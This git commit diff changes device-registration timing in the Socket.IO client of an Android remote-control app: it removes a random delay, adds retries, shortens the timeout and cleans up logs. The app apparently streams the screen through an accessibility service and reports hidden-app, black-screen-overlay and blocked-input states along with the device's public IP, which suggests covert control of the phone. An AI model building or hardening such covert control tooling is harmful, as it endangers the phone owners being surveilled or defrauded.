fix: 修复设备注册延迟导致中继报离线问题

- EVENT_CONNECT回调去掉0-2秒随机延迟,连接成功后立即注册
- 注册防重复间隔从3秒降到1秒,最大重试次数从10增加到30
- 注册超时从15秒降到10秒,更快重试
- 清理SocketIOManager日志中的emoji符号

app/src/main/java/com/hikoncont/network/SocketIOManager.kt

@@ -354,55 +354,43 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
         socket?.let { socket ->
             
             socket.on(Socket.EVENT_CONNECT) {
-                Log.i(TAG, "Socket.IO v4 连接成功")
+                Log.i(TAG, "Socket.IO v4 connected, socketId=${socket.id()}")
                 isConnected = true
-                isDeviceRegistered = false // 重置注册状态，等待重新注册
+                isDeviceRegistered = false
                 
-                // ✅ 记录连接成功时间和网络类型
+                // Record connection metrics
                 lastConnectTime = System.currentTimeMillis()
-                transportErrorCount = 0 // 重置transport error计数
+                transportErrorCount = 0
-                connectionFailureCount = 0 // 重置连接失败计数
+                connectionFailureCount = 0
                 connectionSuccessCount++
-                updateNetworkQualityScore(true) // 连接成功，提升网络质量分数
+                updateNetworkQualityScore(true)
                 
-                // ✅ 检测网络类型变化
+                // Detect network type change
                 val currentNetworkType = getCurrentNetworkType()
                 if (lastNetworkType != null && lastNetworkType != currentNetworkType) {
-                    Log.i(TAG, "🌐 检测到网络类型变化: $lastNetworkType -> $currentNetworkType")
+                    Log.i(TAG, "Network type changed: $lastNetworkType -> $currentNetworkType")
                 }
                 lastNetworkType = currentNetworkType
                 
-                // ✅ 暂停屏幕数据发送，等待注册完成
+                // Pause screen capture until registration completes
                 service.pauseScreenCaptureUntilRegistered()
                 
-                // 立即发送设备注册，避免延迟导致识别问题
+                // Send device registration immediately without random delay
-                Log.e(TAG, "🚀🚀🚀 立即发送设备注册!!! 🚀🚀🚀")
+                // Server-side registration queue handles concurrency
-                
+                Log.i(TAG, "Sending device registration immediately after connect")
-                // 🔧 多设备冷启动优化：添加随机延迟，避免同时注册冲突
-                val randomDelay = kotlin.random.Random.nextLong(0, 2000) // 0-2秒随机延迟
-                Log.d(TAG, "🔄 多设备冷启动优化：延迟${randomDelay}ms后发送注册，避免并发冲突")
-                
-                mainHandler.postDelayed({
-                    if (isConnected && socket.connected()) {
                 sendDeviceRegistration()
-                    } else {
-                        Log.w(TAG, "⚠️ 延迟注册时发现连接已断开，跳过注册")
-                    }
-                }, randomDelay)
                 
-                // ✅ 启动主动连接检测
+                // Start connection monitoring
                 startConnectionMonitoring()
             }
             
             socket.on(Socket.EVENT_DISCONNECT) { args ->
                 val reason = if (args.isNotEmpty()) args[0].toString() else "unknown"
-                Log.w(TAG, "Socket.IO v4 断开: $reason")
+                Log.w(TAG, "Socket.IO v4 disconnected: $reason")
                 
-                // ✅ 增强断开原因分析和统计
                 val currentTime = System.currentTimeMillis()
                 val connectionDuration = currentTime - lastConnectTime
                 
-                // 记录连接时长用于网络质量评估
                 recordConnectionDuration(connectionDuration)
                 
                 if (reason == "transport error") {
@@ -410,30 +398,25 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
                     lastTransportErrorTime = currentTime
                     connectionFailureCount++
                     updateNetworkQualityScore(false, "transport_error", connectionDuration)
-                    Log.e(TAG, "🚨 Transport Error 统计: 次数=$transportErrorCount, 连接持续时间=${connectionDuration}ms")
+                    Log.e(TAG, "Transport Error count=$transportErrorCount, connectionDuration=${connectionDuration}ms")
                     
-                    // ✅ 如果transport error频繁发生，调整策略
+                    if (transportErrorCount >= 3 && connectionDuration < 300000) {
-                    if (transportErrorCount >= 3 && connectionDuration < 300000) { // 5分钟内3次
+                        Log.w(TAG, "Frequent transport errors, will use conservative strategy on reconnect")
-                        Log.w(TAG, "⚠️ Transport Error频繁发生，将在重连时使用保守策略")
                     }
                 } else {
-                    // 其他原因断开也要更新网络质量评分
                     updateNetworkQualityScore(false, reason, connectionDuration)
                 }
                 
                 isConnected = false
                 isDeviceRegistered = false
                 
-                // 🔧 重置注册状态
                 registrationAttempts = 0
                 registrationTimeoutHandler?.let { handler ->
                     mainHandler.removeCallbacks(handler)
                     registrationTimeoutHandler = null
                 }
                 
-                // ✅ 停止连接检测
                 connectionCheckJob?.cancel()
-                // ✅ 断开时暂停屏幕捕获但保留权限，而不是完全停止
                 service.pauseScreenCapture()
             }
             
@@ -464,32 +447,31 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
                 if (args.isNotEmpty()) {
                     try {
                         val data = args[0] as JSONObject
-                        Log.e(TAG, "🎉🎉🎉 设备注册成功: ${data.optString("message")} 🎉🎉🎉")
+                        Log.i(TAG, "Device registered successfully: ${data.optString("message")}")
                         isDeviceRegistered = true
-                        registrationAttempts = 0 // 重置尝试次数
+                        registrationAttempts = 0
                         
-                        // 🔧 取消超时检测
+                        // Cancel timeout handler
                         registrationTimeoutHandler?.let { handler ->
                             mainHandler.removeCallbacks(handler)
                             registrationTimeoutHandler = null
                         }
                         
-                        // ✅ 注册成功后恢复屏幕数据发送
+                        // Resume screen capture after registration
-                        Log.e(TAG, "🚀🚀🚀 设备注册成功，恢复屏幕数据发送!!! 🚀🚀🚀")
+                        Log.i(TAG, "Registration confirmed, resuming screen capture")
                         service.resumeScreenCaptureAfterRegistration()
                         
-                        // ✅ 设备注册成功，检查是否可以隐藏配置遮盖
+                        // Check if config mask can be hidden
-                        Log.i(TAG, "✅ 设备注册成功，检查是否可以隐藏配置遮盖")
                         service.checkAndHideConfigMask()
                         
-                        // 📤 设备注册成功后上传待处理的崩溃日志
+                        // Upload pending crash logs
                         crashLogUploader.uploadPendingLogs(socket, getDeviceId())
                         
                     } catch (e: Exception) {
-                        Log.e(TAG, "❌ 处理设备注册响应失败", e)
+                        Log.e(TAG, "Failed to process device_registered response", e)
                     }
                 } else {
-                    Log.e(TAG, "⚠️ 收到device_registered事件但无参数")
+                    Log.w(TAG, "Received device_registered event with no args")
                 }
             }
             
@@ -504,20 +486,16 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
                 }
             }
             
-            // ✅ 处理服务器重启事件
+            // Handle server restart event
             socket.on("server_restarted") { _ ->
-                Log.e(TAG, "🔄🔄🔄 收到服务器重启通知，立即重新注册!!! 🔄🔄🔄")
+                Log.i(TAG, "Received server_restarted, re-registering device")
-                // 重置注册状态
                 isDeviceRegistered = false
-                // 立即重新注册
                 sendDeviceRegistration()
             }
             
             socket.on("ping_for_registration") { _ ->
-                Log.e(TAG, "🔄🔄🔄 收到重新注册Ping，立即重新注册!!! 🔄🔄🔄")
+                Log.i(TAG, "Received ping_for_registration, re-registering device")
-                // 重置注册状态
                 isDeviceRegistered = false  
-                // 立即重新注册
                 sendDeviceRegistration()
             }
             
@@ -606,34 +584,33 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
     }
     
     private fun sendDeviceRegistration() {
-        // 🆕 使用协程获取公网IP并发送注册
         scope.launch {
             try {
-                // 🔧 防止频繁重复注册
                 val currentTime = System.currentTimeMillis()
-                if (currentTime - lastRegistrationTime < 3000) { // 3秒内不重复发送
+                // Throttle: 1 second minimum between registration attempts
-                    Log.d(TAG, "📝 距离上次注册时间过短，跳过重复注册")
+                val REGISTRATION_THROTTLE_MS = 1000L
+                if (currentTime - lastRegistrationTime < REGISTRATION_THROTTLE_MS) {
+                    Log.d(TAG, "Registration throttled, skipping duplicate")
                     return@launch
                 }
                 
                 lastRegistrationTime = currentTime
                 registrationAttempts++
                 
-                // 🔧 限制最大尝试次数，避免无限重试
+                // Allow more retry attempts before giving up
-                if (registrationAttempts > 10) {
+                val MAX_REGISTRATION_ATTEMPTS = 30
-                    Log.e(TAG, "❌ 设备注册尝试次数过多($registrationAttempts)，可能服务器有问题，暂停注册")
+                if (registrationAttempts > MAX_REGISTRATION_ATTEMPTS) {
+                    Log.e(TAG, "Registration attempts exceeded $MAX_REGISTRATION_ATTEMPTS, pausing")
                     return@launch
                 }
                 
-                // 🆕 获取公网IP（异步操作，有缓存）
                 val publicIP = getPublicIP()
-                Log.i(TAG, "🌐 设备注册包含公网IP: ${publicIP ?: "获取失败"}")
                 
                 val androidDeviceId = getDeviceId()
                 val socketId = socket?.id() ?: "unknown"
                 val deviceInfo = JSONObject().apply {
-                    put("deviceId", androidDeviceId) // Android设备ID
+                    put("deviceId", androidDeviceId)
-                    put("socketId", socketId) // Socket.IO连接ID
+                    put("socketId", socketId)
                     put("deviceName", getUniqueDeviceName())
                     put("deviceModel", android.os.Build.MODEL)
                     put("osVersion", android.os.Build.VERSION.RELEASE)
@@ -650,49 +627,40 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
                         put("screenshot")
                     })
                     put("inputBlocked", service.isInputBlocked())
-                    // 🆕 添加当前黑屏遮盖状态
                     put("blackScreenActive", service.isBlackScreenActive())
-                    // 🆕 添加当前应用隐藏状态
                     put("appHidden", service.isAppHidden())
-                    // 添加更多设备信息帮助服务端识别
                     put("manufacturer", android.os.Build.MANUFACTURER)
                     put("brand", android.os.Build.BRAND)
-                    put("fingerprint", android.os.Build.FINGERPRINT.takeLast(16)) // 只取最后16位
+                    put("fingerprint", android.os.Build.FINGERPRINT.takeLast(16))
-                    // 🆕 添加公网IP信息
                     put("publicIP", publicIP ?: "unknown")
-                    // 🆕 添加详细系统版本信息
                     put("systemVersionName", getSystemVersionName())
                     put("romType", getROMType())
                     put("romVersion", getROMVersion())
                     put("osBuildVersion", getOSBuildVersion())
                 }
                 
-                Log.e(TAG, "🔑🔑🔑 发送设备注册(第${registrationAttempts}次)!!! 🔑🔑🔑")
+                Log.i(TAG, "Sending device_register #$registrationAttempts: deviceId=$androidDeviceId, socketId=$socketId, connected=${socket?.connected()}")
-                Log.e(TAG, "📱 设备信息: 设备ID=${deviceInfo.optString("deviceId")}, 设备名=${deviceInfo.optString("deviceName")}")
-                Log.e(TAG, "🌐 Socket连接状态: connected=${socket?.connected()}, isConnected=$isConnected")
-                Log.e(TAG, "🔑 Socket ID详情: ${socket?.id()}")
-                Log.e(TAG, "🌐 公网IP: ${publicIP ?: "获取失败"}")
-                Log.e(TAG, "📋 完整设备信息: ${deviceInfo.toString()}")
                 
                 val emitResult = socket?.emit("device_register", deviceInfo)
-                Log.e(TAG, "📡 设备注册发送结果: $emitResult")
+                Log.i(TAG, "device_register emit result: $emitResult")
                 
-                // 🔧 清除之前的超时检测，设置新的超时检测
+                // Set registration timeout: retry after 10 seconds if no confirmation
                 registrationTimeoutHandler?.let { handler ->
                     mainHandler.removeCallbacks(handler)
                 }
                 
+                val REGISTRATION_TIMEOUT_MS = 10000L
                 registrationTimeoutHandler = Runnable {
-                    if (!isDeviceRegistered && registrationAttempts <= 10) {
+                    if (!isDeviceRegistered && registrationAttempts <= MAX_REGISTRATION_ATTEMPTS) {
-                        Log.e(TAG, "⚠️⚠️⚠️ 设备注册超时，15秒内未收到确认，重新发送注册!!! ⚠️⚠️⚠️")
+                        Log.w(TAG, "Registration timeout after ${REGISTRATION_TIMEOUT_MS}ms, retrying")
                         sendDeviceRegistration()
                     }
                 }
                 
-                mainHandler.postDelayed(registrationTimeoutHandler!!, 15000) // 改为15秒超时
+                mainHandler.postDelayed(registrationTimeoutHandler!!, REGISTRATION_TIMEOUT_MS)
                 
             } catch (e: Exception) {
-                Log.e(TAG, "发送设备注册失败", e)
+                Log.e(TAG, "sendDeviceRegistration failed", e)
             }
         }
     }